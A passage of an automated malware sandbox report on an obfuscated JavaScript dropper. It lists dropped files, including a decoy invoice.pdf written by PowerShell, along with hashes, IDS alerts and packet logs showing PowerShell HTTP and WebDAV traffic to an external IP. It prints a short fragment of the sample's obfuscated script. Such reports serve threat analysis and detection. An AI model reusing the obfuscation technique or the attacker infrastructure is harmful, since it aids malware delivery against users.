Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\2f910b91-8829-4344-9504-1d061b9c2679.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\32355089-4f3a-41cf-9e1d-502603e73c1d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\6e945ac4-bcf6-4de4-a5a6-ac00e552792b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\c98bbd9e-93ee-4b4b-b1d3-12597254446e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18038), with CRLF line terminators
Entropy (8bit):	4.908490463273537
TrID:
File name:	247714231173424547.js
File size:	21'588 bytes
MD5:	6bb326246fee6ac5551cad3512465e71
SHA1:	ee1817ad6d4925b1e776c93e1f5d4a06bd41817e
SHA256:	4f35c5ddf36b4e71873adf675c08a804273f764670871f7a64f8751a0e4166b8
SHA512:	c9888b4d248b9281bfee4a40b1688d7b4edcb434304ff78467a16a9d3466eabf0395f731ed10bfd86e6e90b90263d9307edb05a38c502cd3419d0c6d6bfbf561
SSDEEP:	384:OBwrisiLFTir3h+9c6U65kZ6tK+IyAHB/es/Y8Rrd2rruy/p2Q7whCjitQ/YpsW6:Cw2/0Gs1rmrqnW2S7
TLSH:	2FA23680EA5C8F3AD9EE87EC34F504E41B6C11148DD538C9A0CA648AD641CB7BDDA77B
File Content Preview:	function xxofx(){rpbxx=[1031,3079,5127,4103,2055,3072];var evtpdctpm=this[szxffs+zottehfck+bfevb+einlu+ruhdfjpt+qkgwgeg+xvzhigl+hqxnnfjuy](this[uesjzvnxa+nqvqma+nuzjrpdi+bfevb+jvexfa+szxffs+hqxnnfjuy][jvydg+bfevb+ruhdfjpt+zottehfck+hqxnnfjuy+ruhdfjpt+yawf

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T21:48:43.405236+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.9	49736	193.143.1.205	80	TCP
2025-01-10T21:48:46.165414+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.9	49753	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:48:42.595519066 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:42.601571083 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:42.601665020 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:42.605247974 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:42.610084057 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.405149937 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.405184031 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.405201912 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.405217886 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.405235052 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.405236006 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.405251980 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.405270100 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.405286074 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.405286074 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.405296087 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.405304909 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.405322075 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.405330896 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.405363083 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.410198927 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.459882021 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.459903955 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.460057020 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.509161949 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.530644894 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.530692101 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.530729055 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.530762911 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.530796051 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.530801058 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.530846119 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.530879974 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.530936003 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.531006098 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.531060934 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.531095028 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.531106949 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.531131983 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.531202078 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.531734943 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.531771898 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.531815052 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.531850100 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.531853914 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.531886101 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.531924963 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.532586098 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.532620907 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.532630920 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.532658100 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.532691956 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.532694101 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.532727957 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.532788038 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.533363104 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.587300062 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.589656115 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.589735985 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.589768887 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.589806080 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.589831114 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.589860916 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.617307901 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.617357969 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.617499113 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.655797958 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.655822039 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.655839920 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.655881882 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.655894995 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.655924082 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.655939102 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.655941010 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.655957937 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.655978918 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.655986071 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.656449080 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.656460047 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.656476974 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.656517982 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.656616926 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.656632900 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.656649113 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.656672955 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.656981945 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.657005072 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.657022953 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.657030106 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.657040119 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.657058954 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.657058954 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.657077074 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.657111883 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.657644987 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.657671928 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.657691956 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.657707930 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.657713890 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.657727957 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.657731056 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.657744884 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.657763004 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.657766104 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.657804012 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.658540010 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.658565998 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.658584118 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.658600092 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.658616066 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.658620119 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.658632994 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.658653021 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.658653975 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.658669949 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.659459114 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.659475088 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.659492970 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.659503937 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.659507036 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.659523964 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.659531116 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.659542084 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.659559011 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.659559011 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.659594059 CET	49736	80	192.168.2.9	193.143.1.205
